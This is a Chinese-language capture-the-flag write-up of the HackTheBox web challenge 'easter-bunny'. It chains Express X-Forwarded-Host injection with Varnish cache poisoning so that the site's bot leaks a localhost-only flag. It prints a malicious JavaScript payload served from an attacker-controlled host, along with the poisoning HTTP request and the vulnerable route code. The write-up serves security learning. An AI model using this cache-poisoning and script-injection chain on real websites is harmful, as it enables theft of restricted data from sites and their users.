HTB easter-bunny

目標說明

hackthebox上的web靶機,名稱為easter-bunny,情境是留言版

安全風險

此目標發現2個安全風險

  1. 可利用X-Forwarded-host讀取攻擊者的js
  2. VCL緩存中毒

保護機制

限制127.0.0.1才能讀取

安全優化建議 

  • 檢查X-Forwarded-host可否改變網站行為
  • 檢查目標是否有緩存機制


攻擊手法

分析網站代碼內容發現flag在message/3內,並且只有127.0.0.1能讀取,所以要想辦法取得messsage/3的內容

可任意操作cdn位置

訪問網站時可以發現會去讀取viewletter.js,而且該目標有express的弱點,因此可以透過X-Forwarded-host改變代碼中req.hostname內的值

router.get("/letters", (req, res) => {
    return res.render("viewletters.html", {
        cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
    });
});

所以在請求時增加X-Forwarded-Host : my.vps.com,會發現讀取viewletter.js的來源變成my.vps.com,如下,這表示網站可以執行任何來源的JS

<!-- <script src="viewletter.js"></script> -->
<script src="http://my.vps.com/viewletter.js"></script>

準備惡意JS

準備一個JS去讀取messsage/3的flag內容,並將結果submit到留言版中。由於只有127.0.0.1能讀取,因此讀取網址要指定http://127.0.0.1:80/message/3。另外,在配置中看到 CORS(app) 表示可以跨域,因此可以在惡意js中使用fetch語法

在攻擊者服務器my.vps.com上增加viewletter.js 如下

fetch("http://127.0.0.1:80/message/3").then((r) => {
    return r.text();
}).then((x) => {
    fetch("http://127.0.0.1:80/submit", {
        "headers": {
            "content-type": "application/json"
        },
        "body": x,
        "method": "POST",
        "mode": "cors",
        "credentials": "omit"
    });
});

建立惡意緩存

分析目標發現使用vcl,因此可利用varnish的弱點建立惡意緩存,之後只要存取該位置就會使用惡意緩存內的攻擊指令。

分析留言數與id的關係可以發現id代表目前留言數量,因此新的留言id就是id+1,由於代碼在提交時會去讀取id+1的信息,所以我們可以要在未來代碼會讀取的網址做惡意緩存。

假如目前留言數是10,則根據以下規則發送請求以建立惡意緩存

  1. 建立 127.0.0.1/letters?id=11的惡意緩存,
  2. 由於限制127.0.0.1才能讀取,因此請求header要設定host:127.0.0.1
  3. 增加X-Forwarded-Host: my.vps.com,讓目標去讀取my.vps.com/viewletter.js的惡意指令
GET letters?id=11 HTTP/1.1
host:127.0.0.1
X-Forwarded-Host": my.vps.com

現在127.0.0.1/letters?id=11己緩存了my.vps.com/viewletter.js 的攻擊指令,只要存取該位置就會常試讀取message/3的flag。但如果是從外網存取沒用,必須從內網存取才行,也就是讓目標自己去執行。

觸發惡意緩存

分析以下代碼可以發現請求submit後,會去讀取127.0.0.1/letters,這符合讓目標自己去執行的條件,從內網存取

router.post("/submit", async (req, res) => {
    const { message } = req.body;
    if (message) {
        return db.insertMessage(message)
            .then(async inserted => {
                try {
                    botVisiting = true;
                    await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);

因此隨便提交一個submit,原本留言總數10就會變11,導致代碼內的運作會自己讀取http://127.0.0.1/letters?id=11。

原本讀取127.0.0.1/letters?id=11不會有任何問題,但該網址剛剛己經緩存中毒了,因此他會執行惡意viewletter.js,讀取message/3的flag內容並提交到下一則留言中,因此只要看最新的留言就能看到flag


補充說明

Varnish

web緩存系統服務器,使用VCL來設定緩存規則

以下是默認的VCL

sub vcl_hash {

hash_data(req.url);
if (req.http.host) {
  hash_data(req.http.host);
} else {
  hash_data(server.ip);
}

return (lookup);
}

默認的hash是url+host或url+ip,換句話說,同一個HOST訪問同一個URL會有緩存

以上默認配置有一些安全風險

express

一種node.js的web應用程序框架

在express的官方文檔中提到,如果trust proxy不等false的話,req.hostname可以通過x-forwarded-host取得,這表示可以偽造req.hostname去執行特定hostname的惡意js

https://expressjs.com/en/api.html#req.hostname